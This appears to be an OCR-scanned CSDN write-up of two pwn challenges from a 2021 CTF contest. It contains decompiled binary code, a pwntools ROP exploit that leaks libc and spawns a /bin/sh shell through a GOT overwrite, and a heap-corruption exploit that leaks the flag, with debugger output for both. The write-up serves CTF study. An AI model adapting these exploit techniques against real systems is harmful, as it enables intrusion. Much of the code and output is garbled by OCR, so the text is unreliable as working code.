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| _int64  fastcall main(_inté64 al, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-114h]

char v5; // [rsp+18h] [rbp-116h]

unsigned inté4 v6; // [rsp+118h] [rbp-8h]

v6 = _ readfsqword(@x28u);
sub_400766(al, a2, 23);
puts("~_"");
while ( 1)
{
while ( 1)
{
puts("your choice™);
va = sub_4007C7();
if ((va)
break;
modify address();
¥
if (va1=1)
break;
add_content(&v5);
¥

return OLL;
} CSDN @yj@pwn

ssize t sub 40086C()

{
int v@; // sTOC 4

puts("address:");

v@ = sub_4807C7();
puts("content:");

return read(®, (void *)vo, 8ulLlL);
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ssize t fastcall sub 4008BB(void *al)

{
unsigned int nbytes; // STIC 4

puts(“size:");
nbytes = sub 4007C7();

puts("content:");
return read(@, al, nbytes);
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from pwn import *

def add_content(size,content):
sh.sendlineafter('choice\n',"1")
sh.sendlineafter('size:\n',str(size))
sh.sendafter('content:\n"',content)

def add_address(address,content):
sh.sendlineafter('choice\n',"0@")
sh.sendlineafter('address:\n',str(address))
sh.sendafter('content:\n',content)

context.log_level = 'DEBUG'

sh = process('./pwnl')

elf = ELF('./pwnl")

libc = ELF('./1libc-2.23.s0")

puts_plt = elf.plt['puts’']

puts_got = elf.got['puts’']

atoi_got = elf.got['atoi']

chk_fail = elf.got['__stack_chk_fail']
content_addr = 0x00000000004008BB
address_addr = 0x000000000040086C
add_address(chk_fail,p64(puts_plt))

payload = 'a'*@x118+p64(0x0000000000400203)
payload+= p64(puts_got)+p64(puts_plt)
payload+= p64(address_addr)+p64(content_addr)
add_content (0x1000, payload)
sh.sendlineafter('choice\n','2")

leak_addr = u64(sh.recvuntil('\x7f')[-6:].1just (8, '\x00"'))
libc_base = leak_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
sh.sendline(str(atoi_got))
sh.sendafter('content:\n',p64(system_addr))
sh.sendline('/bin/sh\x00")

sh.interactive()

&5 BEh k3 shell.
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[DEBUG] Sent 0x2
|2\n|

[DEBUG] Received
0000000 0Oa
00000010 0a
00000011

[DEBUG] Sent 0x8
'6295616\n"

[DEBUG] Received
"content:\n'

[DEBUG] Sent 0x8
00000000 ab
00000008

[DEBUG] Sent 0x9
00000000 2f
00000009

[*] Switching to

[DEBUG] Received
'size:\n'

size:

$ s

[DEBUG] Sent 0x3
"Ts\n'

[DEBUG] Received

2 |

'core 1libc-2.23.s0
core libc-2.23.s0 pwnl vyj.py

ywvui v LuT T

bytes:

0x11 bytes:

ad 06 0f 3d 3a 7f Oa
bytes:

0x9 bytes:

bytes:
63 0c 3d 3a 7f 00 00

bytes:
62 69 6e 2f 73 68 00

interactive mode
0x6 bytes:

bytes:

0x20 bytes:
pwnl yj.py\n

61 64 64 72

Oa

65 73 73 3a

|/bin|/sh- |- |
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while ( v3 I= 2025395032 );
malloc((unsigned int)size);
return puts(”Search finished");

heap list[v4] =

1
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int magic()
{
signed int v@; // eax
signed int v1; // eax
signed int v3; // [rsp+2Ch] [rbp-14h]
unsigned int v4; // [rsp+30h] [rbp-10h]

puts("Input the idx");
v4 = sub DBO();
v3 = 655206826,
while ( v3 != -1390385975 )
{
if ( v3 == -442473790 )
sub_ACO("Illegal™);
if ( v3 == 314989275 )
{
vl
if
v

-447473790;
heap list[v4] )
= -1398385975;
vl;

Il

else if ( v3 == 655206826 )

ve = 314989275,
if ( v4 >= dword 202090 )
ve = -442473790;
v3i = vi;
¥
¥
puts("Input the Magic");
read(@, heap list[v4], (unsigned int)size);
return printf("Magic> %s <Magic\n", heap list[v4]);
} CSDN @yj@pwn
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3}

4| free(heap_ list[*v24]);

5/ result = puts("remove the Magic™);

6] v9 = result;

7| return result; T
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Jint flag()
H
FILE *stream; // ST20 8
const char *v1; // rax
char *s; // ST18 8

int v3; // eax

int v4; [/ ST2C 4

stream = fopen("/flag", "r");

Il vl = (const char *)malloc((unsigned int)nbytes);

s = (char *)v1;

v3 = strlen(vl);

v4d = (unsigned  int64)read(3, &s[v3], (unsigned int)nbytes) + v3;
return fclose(stream);

il CSDN @yj@pwn
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pwndbg> heap

Free chunk (unsortedbin) | PREV INUSE
Addr: 0x555555757000

Size: 0x231

fd: Ox7ffff7dd1b78

bk: Ox7ffff7dd1b78

Allocated chunk
Addr: 0x555555757230
Size: 0x110

Top chunk | PREV INUSE
Addr: 0x555555757340
Size: 0x20ccl

pwndbg> x/10xg 0x555555757230

0x555555757230: Ox0000000000000230 0x0000000000000110
0x555555757240: 0x6161617b67616C66 0x6161616161616161
0x555555757250: 0x6161616161616161 0x6161616161616161
0x555555757260: 0x000a7d6161616161 Ox0000000000000000
0x555555757270: 0x6000000000000000 0x00000000000CEBOC /@

e sem alle oo
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from pwn import *

def add(idx):
sh.sendlineafter('choice: \n','1\n\n")
sh.sendlineafter('Input the idx\n',str(idx)+'\n\n")

def edit(idx,content):
sh.sendlineafter('choice: \n','2\n\n")
sh.sendlineafter('Input the idx',str(idx)+'\n\n")
sh.sendafter('Input the Magic\n',content)

def delete(idx):
sh.sendlineafter('choice: \n','3\n\n")
sh.sendlineafter('Input the idx',str(idx)+'\n\n")

context.log level = 'DEBUG'

sh = process('./Magic')

#sh = remote('noded.buuoj.cn',25261)

add(9)

add(9)

add(9)

add(9)

add(1)

edit(1,p64(0)*3+p64(0x71))

delete(1)

delete(9)

edit(o, '\xe0")

add(9)

add(9)

edit(o, 'a'*0x50)

sh.interactive()

BRFBITSERAN

L71 swiLcning Lo 1niLeracLive moue
[DEBUG] Received 0x9a bytes:
'Magic> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaadaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaflag{aanaaaaaaaaaaaaaaaaa
33aaaaaaaaaal\n’
' <Magic\n'
'Input your choice: \n'
Magic> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaadaadaadaadaadaadaaaaanaaaaaaaanaaaaaaaflag{aaaaaaaaaaaaaaaaaaaaaaaaa
3aaaaaa}
<Magic
I[nput your choice:
Y | csD




	陇原战“疫“2021网络安全大赛 bbbaby和Magic
	一、bbbaby
	二、Magic

